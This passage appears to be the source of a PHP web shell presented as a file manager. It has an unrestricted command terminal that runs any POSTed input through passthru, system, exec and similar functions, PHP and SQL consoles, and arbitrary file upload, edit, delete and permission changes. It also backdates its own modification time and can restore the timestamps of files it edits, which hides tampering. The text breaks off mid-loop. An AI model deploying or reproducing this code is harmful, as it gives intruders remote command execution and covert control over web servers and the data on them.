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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
